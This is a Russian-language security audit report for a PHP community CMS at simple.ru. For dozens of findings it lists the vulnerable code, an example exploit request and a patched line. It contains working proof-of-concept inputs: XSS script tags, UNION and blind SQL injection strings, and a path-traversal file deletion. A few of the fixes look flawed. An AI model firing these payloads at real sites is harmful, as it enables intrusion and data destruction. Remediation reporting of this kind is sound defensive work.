Исправление уязвимости:

Заменить строку 40 на:

```
<td> <input type="text" name="login" value="<?php
echo htmlspecialchars($username); ?>" class=cmn>
</td>
```

Заменить строку 43 на:

```
<td> <input type="password" name="pswd" value="<?php
echo htmlspecialchars($password); ?>" class=cmn>
</td>
```

Заменить строку 67:

```
Dear user <? echo htmlspecialchars($login) ?>,<br>
```

Passive XSS

Пример использования:

http://site/picture.php

POST message=XSS&subject=XSS

Уязвимый код:

Файл "picture.php", str. 70:

```
<TD><INPUT SIZE=60 NAME='subject' VALUE='<?php echo
$subject; ?>'></INPUT> </TD>
```

str. 74:

```
<TD><TEXTAREA NAME='message' cols=60 rows='4'
wrap='PHYSICAL' id="message"><?php echo $message;
?></TEXTAREA></TD>
```

Исправление уязвимости:

Заменить строку 70 на:

```
<TD><INPUT SIZE=60 NAME='subject' VALUE='<?php echo
htmlspecialchars($subject); ?>'></INPUT> </TD>
```

Заменить строку 74 на:

```
<TD><TEXTAREA NAME='message' cols=60 rows='4'
wrap='PHYSICAL' id="message"><?php echo
htmlspecialchars($message); ?></TEXTAREA></TD>
```

Множественные Active XSS

Пример использования:

http://site/profile.php
http://site/register.php
http://site/mem.php
http://site/editdetails.php
http://site/inc/*.php

Уязвимый код:

Все поля профиля получаемые из БД

Исправление уязвимости:

Обработать все поля бд выводимые на экран при помощи функции htmlspecialchars().

Примечания:

Исправленные версии файлов прилагаются к отчёту.

Выполнение произваольных комманд SQL

Пример использования:

http://simple.ru/webmaster/sqledit.php

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/sqledit.php”

```
$r=q("select * from $table $conditions $order");
```

где

```
$table =$_REQUEST['table'];
    $conditions=$_REQUEST['conditions'];
    if (empty($order)) $order=$_REQUEST['order'];
```

позволяет выполнять производные запросы на бд.

Удаление произвольных файлов

Пример использования:

http://simple.ru/webmaster/approve_pictures.php?dpid=1&fn=../../index.php

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “/webmaster/approve_pictures.php”, str 19:

```
if (!strstr($fn,"http")) unlink("../pictures/".$fn);
```

Исправление уязвимости:

В файле “webmaster/approve_pictures.php” вставить строки 13-15

```
$fn = $_GET['fn'];
$fn = str_replace(".","",$fn);
$fn = str_replace("/","",$fn);
```

SQL-injection (blind)

Пример использования:

http://simple.ru/webmaster/approve_pictures.php?pid=1++and+substring(version(),1,1)=5+--+

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/approve_pictures.php”, str 18:

```
if ($pid) q("update pictures set status='1' where id='$pid'");
```

Исправление уязвимости:

В файле “webmaster/approve_pictures.php” заменить строку 9 на

```
$pid = (int) $_REQUEST['pid'];
```

SQL-injection (blind)

Пример использования:

http://simple.ru/webmaster/approve_pictures.php?dpid=1+and+substring(version(),1,1)=5+--+

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/approve_pictures.php”, str 20:

```
q("delete from pictures where id='$dpid'");
```

Исправление уязвимости:

В файле “webmaster/approve_pictures.php” заменить строку 10 на

```
$dpid = (int) $_REQUEST['dpid'];
```

SQL-injection (blind)

Пример использования:

http://simple.ru/webmaster/approve_pictures.php?dim=1+and+substring(version(),1,1)=5+--+

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/approve_pictures.php”, str 24:

```
if ($dim) q("delete from images where id='$dim'");?>
```

Исправление уязвимости:

В файле “webmaster/approve_pictures.php” заменить строку 11 на

```
$dim = (int) $_REQUEST['dim'];
```

Active XSS

Пример использования:

Залить файл с специально сформированным именем или описанием

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “admin/users.php”, str 33:

```
if (!e($pr1)) while ($pic=f($pr1)){echo "<tr bgcolor=\"
#FFFFFF\"><td bgcolor=\"#F0F0F0\"><a href='../picture.php
?pid=$pic[id]'><img src='../".(piurl("$pic[picture]"))."
' border=1 width=100 alt='$pic[details]'></a></td><td>".
(tagster_format($pic[details]))."</td><td bgcolor=\"#F0F0
F0\">".($pic[status]==0?"Pending Approval":"Deleted by Me
mber")."</td><td> [ <a href='approve_pictures.php?pid=$pi
c[id]'>enable</a> ] [ <a href='approve_pictures.php?
dpid=$pic[id]&dim=". $pic[image]."&fn=".$pic[picture
e]."'>delete</a> ] </td></tr>";}
```

Исправление уязвимости:

В файле “webmaster/approve_pictures.php” заменить строку 33 на

```
if (!e($pr1)) while ($pic=f($pr1)){echo "<tr bgcolor=\"
#FFFFFF\"><td bgcolor=\"#F0F0F0\"><a href='../picture.php
?pid=$pic[id]'><img src='../".(piurl("$pic[picture]"))."
' border=1 width=100 alt='$pic[details]'></a></td><td>".
(tagster_format($pic[details]))."</td><td bgcolor=\"#F0F0
F0\">".($pic[status]==0?"Pending Approval":"Deleted by Me
mber")."</td><td> [ <a href='approve_pictures.php?pid=$pi
c[id]'>enable</a> ] [ <a
href='approve_pictures.php?dpid=$pic[id]&dim=".htmlspeci
alchars($pic[image])."&fn=".htmlspecialchars($pic[picture
e])."'>delete</a> ] </td></tr>";}
```

Passive XSS

Пример использования:

http://simple.ru/webmaster/header.php?
?login="><script>alert()</script>

Требования:

1. Доступ в панель администрирования

Уязвимый код:

File “webmaster/header.php”, str 13:

```
<td colspan=2  bgcolor="Ffffff"><br><h4><img
src=images/command.ico border=0 align=absmiddle><?php
echo "Webmaster Area : $admin_login"; ?></h4>
```

Исправление уязвимости:

В файле “webmaster/header.php” заменить строку 13 на

```
<td colspan=2  bgcolor="Ffffff"><br><h4><img
src=images/command.ico border=0 align=absmiddle><?php
echo "Webmaster Area :
".htmlspecialchars($admin_login); ?></h4>
```

Active XSS

Пример использования:

http://simple.ru/webmaster/header.php? +некорректное описание в бд.

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/header.php”, str 31:

```
echo "<li type=square><a href=\"".$pro.$m[link]."\">
<font size=2><B>$m[topic]</B></a></font></l; i>";
   else echo "<BR><BR> <b><font class=admintitle><font
size=2>$m[topic]</font></font></b>";
```

Исправление уязвимости:

В файле “webmaster/header.php” заменить строку 31 на

```
echo "<li type=square><a
href=\"".$pro.htmlspecialchars($m[link])."\"><font
```

```
size=2><B>".htmlspecialchars($m[topic])."</B></a></font>
</l; i>";
   else echo "<BR><BR> <b><font class=admintitle><font
size=2>".htmlspecialchars($m[topic])."</font></font>
</b>";
```

Active XSS
Пример использования: http://simple.ru/webmaster/deletemember.php +предварительно зарегистрированный пользователь с специально сформированными полями login, fname, lname “><script>alert()</script> **Требования:** 1) Доступ в панель администрирования **Уязвимый код:** File “webmaster/deletemember.php”, str 23: echo "DELETE MEMBER ! Username : $mem[login] Full name : $mem[fname] $mem[lname] Email : $mem[email] Are you sure you want to delete this member with all attached information (pictures, inbox messages, profile) ? <B>YES! </B>"; **Исправление уязвимости:** В файле “webmaster/deletemember.php ” заменить строку 23 на echo "DELETE MEMBER ! Username : ".htmlspecialchars($mem[login])." Full name : ".htmlspecialchars($mem[fname])." ".htmlspecialchars($mem[lname])." Email : ".htmlspecialchars($mem[email])." Are you sure you want to delete this member with all attached information (pictures, inbox messages, profile) ?

```
<B><a href=deletemember.php?mid=$id&id=$id&sure=1>YES!
</a></B>";
```

Active XSS

Пример использования:
http://simple.ru/webmaster/editrank.php +специально сформированный логин пользователя
“><script>alert()</script>
Требования:
1) Доступ в панель администрирования
Уязвимый код:
File “webmaster/editrank.php”, str 28:
<td> <?php echo $mem[login];?></td>
Исправление уязвимости:
В файле “webmaster/editrank.php” заменить строку 28 на
<td> <?php echo htmlspecialchars($mem[login]);?></td>

Active XSS

Пример использования:
http://simple.ru/webmaster/editrank.php +специально сформированный тип “><script>alert()</script>
Требования:
1) Доступ в панель администрирования
Уязвимый код:
File “webmaster/editrank.php”, str 32:
<td> <input name="rank" type="text" id="rank" value="<?php echo $pr[type]; ?>"></td>
Исправление уязвимости:
В файле “webmaster/editrank.php” заменить строку 32 на
<td> <input name="rank" type="text" id="rank" value="<?php echo htmlspecialchars($pr[type]); ?>"></td>

Active XSS

Пример использования:
http://simple.ru/webmaster/post.php +специально сформированный логин пользователя или пароль
“><script>alert()</script>
Требования:
1) Доступ в панель администрирования
Уязвимый код:
File “webmaster/editrank.php”, str 38-39:
clink=>$ROOT_HOST."confirm.php?mid=".urlencode($mem[login])."&stamp=$mem[rdate]",
loginlink=>$ROOT_HOST."login.php?username=$mem[login]&password=$mem[pswd]
Исправление уязвимости:
В файле “webmaster/post.php ” заменить строку 38-39 на
clink=>$ROOT_HOST."confirm.php?mid=".htmlspecialchars($mem[login])."&stamp=$mem[rdate]",
loginlink=>$ROOT_HOST."login.php?username=".htmlspecialchars($mem[login])."&password=".htmlspecialchars($mem[pswd])

Active XSS

Пример использования:
http://simple.ru/webmaster/process.php +специально сформированный заголовок “><script>alert()</script>
Требования:
1) Доступ в панель администрирования
Уязвимый код:
File “webmaster/editrank.php”, str 55:
echo "<tr><td bgcolor=F0F0F0 align=center>$ev[title]</td></tr>";};
Исправление уязвимости:

В файле “webmaster/process.php ” заменить строку 55 на

```
echo "<tr><td bgcolor=F0F0F0
align=center><b>".htmlspecialchars($ev[title])."</b>
</td></tr>";};
```

Active XSS

Пример использования:

http://simple.ru/webmaster/process.php +специально сформированное содержимое “><script>alert()</script>

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/process.php”, str 44:

```
echo "<tr><td
bgcolor=FFFFFF>$ev[contents]</td></tr>";};
```

Исправление уязвимости:

В файле “webmaster/process.php ” заменить строку 44 на

```
echo "<tr><td bgcolor=FFFFFF>".htmlspecialchars(
$ev[contents])."</td></tr>";};
```

Active XSS

Пример использования:

http://simple.ru/webmaster/process.php +специально сформированный заголовок “><script>alert()</script>

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/process.php”, str 43:

```
echo "<tr><td bgcolor=E0E0E0>$t1</td></tr>";echo
"<tr><td bgcolor=F0F0F0
align=center><b>$ev[title]</b></td></tr>";
```

Исправление уязвимости:

В файле “webmaster/process.php ” заменить строку 43 на

```
echo "<tr><td bgcolor=E0E0E0>$t1</td></tr>";echo
"<tr><td bgcolor=F0F0F0 align=center><b>".
htmlspecialchars($ev[title])."</b></td></tr>";
```

Active XSS

Пример использования:

http://simple.ru/webmaster/process.php +специально сформированное поле credits “><script>alert()</script>

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/process.php”, str 39:

```
if ($ev[credits]) $t1.=" ($ev[credits])   ";
```

Исправление уязвимости:

В файле “webmaster/process.php ” заменить строку 39 на

```
if ($ev[credits]) $t1.="
(".htmlspecialchars($ev[credits])."   ";
```

SQL-injection

Пример использования:

http://simple.ru/webmaster/process.php?c1=union+select+1,version(),2,3,4,5,6,7,8+--+

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/process.php”, str 48:

```
$r=q("select id, sender, title, type, credits, status, rdate, contents from event where status=1 and (type='withdraw' or type='payment') $c1 ORDER BY rdate DESC");
```

Исправление уязвимости:

В файле “ webmaster/process.php ” заменить строку 48 на

```
$r=q("select id, sender, title, type, credits, status, rdate, contents from event where status=1 and (type='withdraw' or type='payment') ORDER BY rdate DESC");
```

Active XSS

Пример использования:

http://simple.ru/webmaster/cashbonus.php +специально сформированное поле login “><script>alert()</script>

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/cashbonus.php”, str 48:

```
if (!e($r)) while ($bon=f($r)) echo "<tr bgcolor=F7F7F7
align=center><td>$bon[mid]</td><td><a href='login.php?id=$bon[mid]'>$bon[login]</a></td>
<td>$bon[rate]</td><td>$bon[amount]</td><td>[
```

```
<a href='cashbonus.php?processid=$bon[mid]'>payment
was sent</A> ]</td></tr>";echo "</table><br>";
```

Исправление уязвимости:

В файле “webmaster/cashbonus.php ” заменить строку 48 на

```
if (!e($r)) while ($bon=f($r)) echo "<tr
bgcolor=F7F7F7
 align=center><td>$bon[mid]</td><td><a
href='login.php?id=$bon[mid]'>".htmlspecialchars
($bon[login])."</a></td><td>$bon[rate]</td><td>
$bon[amount]</td><td>[ <a
href='cashbonus.php?processid=$bon[mid]'>payment was
sent</A> ]</td></tr>";echo "</table><br>";
```

SQL-injection (Blind)

Пример использования:

http://simple.ru/webmaster/import1.php?fax=1’,’’,1,’’)+if((substring(version(),1,1)=5),1,(select+1+union+select+2))+--+

Или через одно с других полей (city, state, zip, phone, country)

Требования:

1) Доступ в панель администрирования
2) magic_quotes_gpc = Off

Уязвимый код:

File “webmaster/import1.php”, str 29:

```
$q1="insert into members values('0','$old[username]',
'$old[email]','$fname','$lname','$old[email]','$city',
'$state', '$country','$zip','$phone','$fax',
'','1','$dt1')";
```

Исправление уязвимости:

В файле “webmaster/import1.php ” заменить строку 29 на

```
$q1="insert into members values('0','$old[username]',
```

```
'$old[email]','$fname',
'$lname','$old[email]','".quote_smart($city)."',
'".quote_smart($state)."','".quote_smart($country)."',
'".quote_smart($zip)."','".quote_smart($phone)."',
'".quote_smart($fax)."','','1','$dt1')";
```

SQL-injection (Blind)

Пример использования:

http://simple.ru/webmaster/import1.php?ethnicity=1',',',',',',',',',',')+if((substring(version(),1,1)=5),1,(select+1+union+select+2))+--+

Или через одно с других полей (birthdate, ethnicity)

Требования:

1) Доступ в панель администрирования
2) magic_quotes_gpc = Off

Уязвимый код:

File “webmaster/cashbonus.php”, str 41:

```
q("insert into profiles values('$member[id]','".
$birthdate."','','','','','$old[sex]','$old
[lo_sex]','$old[marital]','$old[height]','$old[weight]'
,'','".$ethnicity."','$old[eye]',
'$old[hair]','','$old[occupation]','$old[details]',
'1','$dt1')");
```

Исправление уязвимости:

В файле “webmaster/import1.php ” заменить строку 41 на

```
q("insert into profiles values('$member[id]','".
quote_smart($birthdate)."','','','','','$old[sex]','$old
[lo_sex]','$old[marital]','$old[height]','$old[weight]'
,'','".quote_smart($ethnicity)."','$old[eye]',
'$old[hair]','','$old[occupation]','$old[details]',
'1','$dt1')");
```

Passive XSS

Пример использования:

http://simple.ru/webmaster/sqledit.php?table="><script>alert()</script> или conditions

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File "webmaster/sqledit.php", str 112,113,119:

```
"<script>document.location='sqledit.php?table=$table
&conditions=$conditions';</script>";
```

Исправление уязвимости:

В файле "webmaster/sqledit.php " заменить строку 112,113,119 на

```
echo "<script>document.location='sqledit.php?table=".
htmlspecialchars($table)."&conditions=".htmlspecialchars
($conditions)."';</script>";
```

Passive XSS

Пример использования:

http://simple.ru/webmaster/sqledit.php?table="><script>alert()</script> или conditions

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File "webmaster/sqledit.php", str 98:

```
echo "<TR><TD><INPUT type=button value='Cancel'
onclick=\"history.go(-1);\"></TD><TD><INPUT type=reset
value='Reset to default'><INPUT type='Submit'
value='Insert Data'><INPUT type=hidden name='modify'
value='insert'><INPUT type=hidden name='table'
value='$table'><INPUT type=hidden name='id' value='-
1'></TD></TR>";
```

Исправление уязвимости:

В файле “webmaster/sqledit.php ” заменить строку 98 на

```
echo "<TR><TD><INPUT type=button value='Cancel'
onclick=\"history.go(-1);\"></TD><TD><INPUT type=reset
value='Reset to default'><INPUT type='Submit'
value='Insert Data'><INPUT type=hidden name='modify'
value='insert'><INPUT type=hidden name='table'
value='".htmlspecialchars($table)."'><INPUT
type=hidden name='id' value='-1'></TD></TR>";
```

Passive XSS

Пример использования:

```
http://simple.ru/webmaster/sqledit.php? tabdetails
=“><script>alert()</script>
```

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File “webmaster/sqledit.php”, str 49:

```
echo "$tabdetails <br><br>";
```

Исправление уязвимости:

В файле “webmaster/sqledit.php ” заменить строку 49 на

```
echo htmlspecialchars($tabdetails)." <br><br>";
```

Passive XSS

Пример использования:

```
http://simple.ru/webmaster/
sqledit.php?table="><script>alert()</script
```

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File "webmaster/sqledit.php", str 37:

```
echo "SHOW FIELDS FROM $table";
```

Исправление уязвимости:

В файле "webmaster/sqledit.php " заменить строку 37 на

```
echo "SHOW FIELDS FROM ".htmlspecialchars($table);
```

Passive XSS

Пример использования:

```
http://simple.ru/webmaster/
sqledit.php?table="><script>alert()</script
```

Требования:

1) Доступ в панель администрирования

Уязвимый код:

File "webmaster/sqledit.php", str 54:

```
if ($addentry) echo "<br><b><a
href=sqledit.php?table=$table&modify=add&id=-1>ADD
NEW</a></b><BR>";
```

Исправление уязвимости:

В файле "webmaster/sqledit.php " заменить строку 54 на

```
if ($addentry) echo "<br><b><a
href=sqledit.php?table=".htmlspecialchars($table)."
&modify=add&id=-1>ADD NEW</a></b><BR>";
```

Passive XSS

Пример использования:

http://simple.ru/webmaster/sqledit.php?conditions =“><script>alert()</script или order

Требования:

2) Доступ в панель администрирования

Уязвимый код:

File “webmaster/sqledit.php”, str 56:

```
if (e($r)) echo "No entries found ! ($conditions $order)";
```

Исправление уязвимости:

В файле “webmaster/sqledit.php ” заменить строку 56 на

```
if (e($r)) echo "No entries found ! (".htmlspecialchars($conditions)." ".htmlspecialchars($order).")";
```

Passive XSS

Пример использования:

http://simple.ru/webmaster/sqledit.php?conditions =“><script>alert()</script или table

Требования:

3) Доступ в панель администрирования

Уязвимый код:

```
echo "<TD bgcolor=#D0D0D0><B><A href=\"sqledit.php?table=$table&conditions=$conditions&order=order by $field[$i]\">".$fieldn[$field[$i]]."</A></B></TD>";
echo "</TR>";
```

Исправление уязвимости:

В файле “webmaster/sqledit.php ” заменить строку 62 на

```
echo "<TD bgcolor=#D0D0D0><B><A href=\"sqledit.php?table=".htmlspecialchars($table)."&conditions=".htmlspecialchars($conditions)."&order=
```

```
order by
$field[$i]\">".$fieldn[$field[$i]]."</A></B></TD>"
;echo "</TR>";)."(";
```

Множественные SQL-injection (blind)

Пример использования:

http://simple.ru/webmaster/cashbonus.php
POST: rate=[SQL]& rate=[SQL]

Требования:

1) Доступ в панель администрирования
2) magic_quotes_gpc = Off

Уязвимый код:

File “webmaster/ cashbonus.php”, str 19-20:

```
 if ($rate){if ($target==0) q("update cash set
rate='$rate' where 1");
if ($target==3) q("update cash set rate='$rate' where
mid='$mid'");}?>
```

Исправление уязвимости:

В файле “ webmaster/ cashbonus.php” заменить строку 11-14 на

```
 if (!empty($_POST['rate']))
$rate=(int)$_POST['rate'];
else $rate=0;
if (!empty($_POST['mid'])) $mid=(int)$_POST['mid'];
else $mid=0;
```

SQL-injection (blind)

Пример использования:

```
 http://simple.ru/webmaster/ cashbonus.php?
processid=[SQL]
```

Требования:

1) Доступ в панель администрирования
2) magic_quotes_gpc = Off

Уязвимый код:

```
 File “webmaster/ cashbonus.php”, str 45:
  if ($processid){q("update cash set amount=0 where
mid='$processid'");};
```

Исправление уязвимости:

В файле “ webmaster/ cashbonus.php” заменить строку 43 на

```
 $processid = (int)$_REQUEST['processid'];
```

Множественные SQL-injection

Пример использования:

```
 http://simple.ru/webmaster/ deletemember.php?
id=[SQL]&mid=[SQL]
```

Требования:

1) Доступ в панель администрирования
2) magic_quotes_gpc = Off

Уязвимый код:

```
 File “webmaster/ deletemember.php”, str 15-21:
  if ($disable_member_delete){echo "Feature Disabled.
You can enable it from settings.php if you are the
webmaster of the websites.";exit;};
$r=q("UPDATE pictures set status=3 where
member='$mid'");
$r=q("DELETE FROM event where user_id='$mid'");
$r=q("DELETE FROM members where id='$mid'");
```

```
$r=q("DELETE FROM profiles where id='$mid'");
echo " Deleted.";}
else{$mem=f(q("select * from members where
id='$id'"));
```

Исправление уязвимости:

В файле “ webmaster/ deletemember.php ” заменить строку 10-11 на

```
if (!empty($_REQUEST['id'])) $id =
(int)$_REQUEST['id'];
if (!empty($_REQUEST['mid'])) $mid =
(int)$_REQUEST['mid']
```

Множественные SQL-injection

Пример использования:

http://simple.ru/webmaster/editrank.php?id=[SQL]&mid=[SQL]

Требования:

3) Доступ в панель администрирования
4) magic_quotes_gpc = Off

Уязвимый код:

File “webmaster/ editrank.php”, str 19-24:

```
 if ($rank){
   $r=q("UPDATE profiles set type='$rank' where
id='$id'");
   echo "<br> Rank $rank set for user ID $id .";
};
$mem=f(q("select * from members where id='$id'"));
$pr=f(q("select * from profiles where id='$id'"));?>
```

Исправление уязвимости:

В файле “ webmaster/ editrank.php ” заменить строку 14-17 на

```
else $id=(int)$_REQUEST['id'];
if (empty($_REQUEST['rank'])) $rank=0;
else $rank=(int)$_REQUEST['id'];
```

Множественные SQL-injection

Пример использования:

http://simple.ru/webmaster/editrank.php?id=[SQL]&mid=[SQL]

Требования:

5) Доступ в панель администрирования
6) magic_quotes_gpc = Off

Уязвимый код:

File “webmaster/ editrank.php”, str 19-24:

```
 if ($rank){
   $r=q("UPDATE profiles set type='$rank' where id='$id'");
   echo "<br> Rank $rank set for user ID $id .";
};
$mem=f(q("select * from members where id='$id'"));
$pr=f(q("select * from profiles where id='$id'"));?>
```

Исправление уязвимости:

В файле “ webmaster/ editrank.php ” заменить строку 14-17 на

```
 else $id=(int)$_REQUEST['id'];

if (empty($_REQUEST['rank'])) $rank=0;
else $rank=(int)$_REQUEST['id'];
```

Свободный доступ к phpinfo()

Пример использования:

http://simple.ru/phpinfo.php
http://simple.ru/requirements.php

Исправление уязвимости:

1) Удалить файл phpinfo.php
2) В файле requirements.php удалить строки 18-22

Не удалены временные файлы
Пример использования: http://simple.ru/index.bak http://simple.ru/profile.bak **Исправление уязвимости:** Удалить все файлы с расширением .bak

Вывод ошибок не отключен
Исправление уязвимости: В файл “.htaccess” добавить строчку: php_flag display_errors off

Свободный доступ к нерабочим файлам
Пример использования: http://simple.ru/webmaster/_variants/ **Исправление уязвимости:** Добавить в директорию «webmaster/_variants/» файл .htaccess с содержанием: deny from All

Удаление установочных файлов
Удалить установочные файлы /webmaster/install.php, /webmaster/Install.html

Присутствие дублирующих файлов
Удалить дублирующий файл /webmaster/0process.php

1.3 Итоговая стоимость анализа исходного кода

№	Тип уязвимости	Коэффициент	Стоимость (в руб)
1	Аванс	-	-10000
2	Анализ исходного кода	1 мб	20000
3	Исправление уязвимостей (с учётом скидки)	-	20000
4	Перевод на register_globals=Off	-	5000
	ИТОГО К ОПЛАТЕ:		**35000**

1.4 Выводы и рекомендации

В результате проведения аудита безопасности CMS (размер: 1 Мб) было обнаружено:

32 уязвимости высокой опасности
32 уязвимость средней опасности
5 уязвимости низкой опасности

Наши координаты:

Site: ***http://rebz.net***
E-Mail: ***support@rebz.net***
Rebz: ***https://forum.antichat.ru/member.php?u=2466***